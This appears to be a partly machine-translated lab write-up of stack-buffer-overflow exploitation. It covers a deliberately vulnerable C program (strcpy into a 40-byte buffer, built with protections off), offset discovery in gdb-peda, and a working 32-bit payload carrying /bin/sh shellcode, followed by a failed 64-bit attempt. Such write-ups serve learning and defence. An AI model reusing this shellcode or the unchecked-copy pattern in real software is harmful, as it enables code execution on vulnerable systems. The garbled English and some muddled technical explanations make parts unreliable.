0x00 tool introduced
* Ubuntu system (kali can)
* Gdb-peda this artifact, binary analysis essential artifact
0x01 program source code
#include <stdio.h>
#include <string.h>
#include <stdlib.h>int main(int argc, char * argv[])
{
char buf[40];
memset(buf,'\0',sizeof(buf));
if(argc != 2)
{
printf("%s <arg>\n",argv[0]);
exit(1);
}
strcpy(buf,argv[1]);
printf("%s\n", buf);return 0;
}
0x02 32-bit program Analysis
* Gcc -m32 -fno-stack-protector -z execstack -z norelro -o pwn pwn.c // What security mechanisms do not add
* It can be seen are likely to have a stack overflow vulnerability directly from the source, buf 40 bytes. He started working. . .
* First, first with checksec detect what security mechanisms. I found nothing open.
* Go with the normal input method again and found EBP address minus the address stored is equal to the input 48. (Briefly explain the relationship between EBP and ESP, ret before returning inside after the first four bytes of EBP onto the stack, and wait for the value of ESP ret take the stack of return. That's as long as we can EBP the four bytes drowned, then we almost succeeded!)
* Sure enough, and we suspect is the same as long as it gets drowned 0xf7e24af3 address, you can return to the address that we want to return, after a total of 52 bytes can be submerged.
* The above is a more cumbersome way to find the return address, then there are more convenient, but also the recommended method to use.
* Pattern create 70 direct create a regular 70-byte string, and then run these strings directly to the python. Of course, the string may be directly r.
* Found broken at this address.
* Pattern and then see where this address was found to be 52, it is clear that after 52 bytes that we have to address the flooding.
* The next step is to call the shellcode, peda there is a nice feature, is directly generated shellcode.
* We need to set up a shellcode at the arrows, that is 0xffffd560.
* r `python -c'print "A"*8 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"+"A"*20 + "\x60\xd5\xff\xff"'` 运行即可。
0x03 64-bit program analysis
* Gcc -fno-stack-protector -z execstack -z norelro -o pwn pwn.c // What security mechanisms do not add
* 64-bit and 32-bit different, 64 to the parameter, if too large, it is being given, but just do not tell you which address wrong.
* 如图可以看出RBP的地址是0x7fffffffe470，而返回的地址是0x7fffffffe478，移动了8位，很明显这是因为是64位的程序而导致的，如上面32位的程序则是移动4位，所以只要我们淹没了这个0x7fffffffe478就可以得到flag了。我们可以计算出 参数的字节 = 0x30 + 8 + 6 = 62 字节 8就是RBP那八个字节的0，6字节则是要淹没的地址。
注意！！！ 不能超过那6字节也就是不能超过64字节，否则不会报错地址，这应该就是64位的保护机制了。也不能注入 \x00
* 当输入 r `python -c 'print "\x90"*8+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"+"\x90"*24+"\x02\xe4\xff\xff\xff\7f"'`时，会出现奇怪的数值，这应该也是防止栈溢出的机制吧。 64位栈溢出暂时失败。。。。。。。
0x04 小结
很显然64位程序比32位要安全的多，许多的保护机制，更加难以渗透，也许是本人的能力还不够，有很大的进步空间，希望下次遇到64位程序时能攻进去！
